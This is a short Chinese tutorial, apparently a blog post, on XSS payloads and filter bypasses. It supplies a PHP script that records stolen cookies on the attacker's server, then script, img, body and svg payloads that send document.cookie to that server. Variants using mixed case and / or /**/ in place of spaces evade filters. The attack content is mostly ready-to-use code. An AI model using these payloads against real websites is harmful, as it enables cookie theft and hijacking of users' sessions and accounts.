XSS漏洞--常用payload及绕过

前置准备

  1. 首先准备一个自己的服务器。本地服务器,也就是127.0.0.1不行。
  2. 在服务器的公开的、可访问的目录下准备一个.php文件。我这里命名为flag.php。
  3. flag.php的源代码:
php 复制代码
//flag.php
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>

代码的作用是保存从目标服务器盗取的Cookie。
前置知识的学习看这里

payload的基本形式

php 复制代码
//js脚本形式
<script>location.href="http://xx.xx.xx.xx/flag.php?cookie="+document.cookie</script>

//img标签。onerror是图片加载失败时触发的事件。
<img src='#' onerror="window.location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>

//body标签。onload是页面加载完成时触发的事件。
<body onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>

//svg标签。
<svg onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>

绕过方法

大小写绕过:

php 复制代码
<ScRipT> <IMg> <BOdy> <SvG>

空格被过滤:

php 复制代码
使用/**/ 或者 / 绕过
<body/onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>
<body/**/onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>
相关推荐
宋浮檀s3 小时前
应急响应——恶意流量&攻击行为识别
linux·运维·网络·网络安全·应急响应
谪星·阿凯6 小时前
内网渗透之权限维持:从域环境到单机的持久化控制指南
运维·服务器·网络·网络安全
宋浮檀s6 小时前
春秋云镜——CVE-2022-22965
网络·安全·web安全·网络安全
石像鬼₧魂石7 小时前
SMBGhost (CVE-2020-0796) 复现命令速查表
web安全
大方子9 小时前
【好靶场】交易所钱包划转存在的逻辑漏洞3
网络安全·好靶场
小快说网安9 小时前
自动化攻击席卷FortiGate防火墙 敏感配置数据遭非法窃取
安全·web安全·自动化
网安小学生(兼顾数据库版)10 小时前
告别人工排查:揭秘艾体宝ONEKEY自动化固件漏洞分析引擎
安全·web安全·自动化
行走的陀螺仪14 小时前
[特殊字符]️ 前端 + Node.js + Nginx 安全防护终极指南:从入门到实战(2025最新版)
web安全·网络安全
сокол14 小时前
【网安-Web渗透测试-免杀系列】加壳加密
网络安全
Inhand陈工1 天前
游轮WiFi覆盖方案复盘:6台5G CPE + AP实现全船高速上网
人工智能·物联网·网络协议·网络安全·信息与通信·iot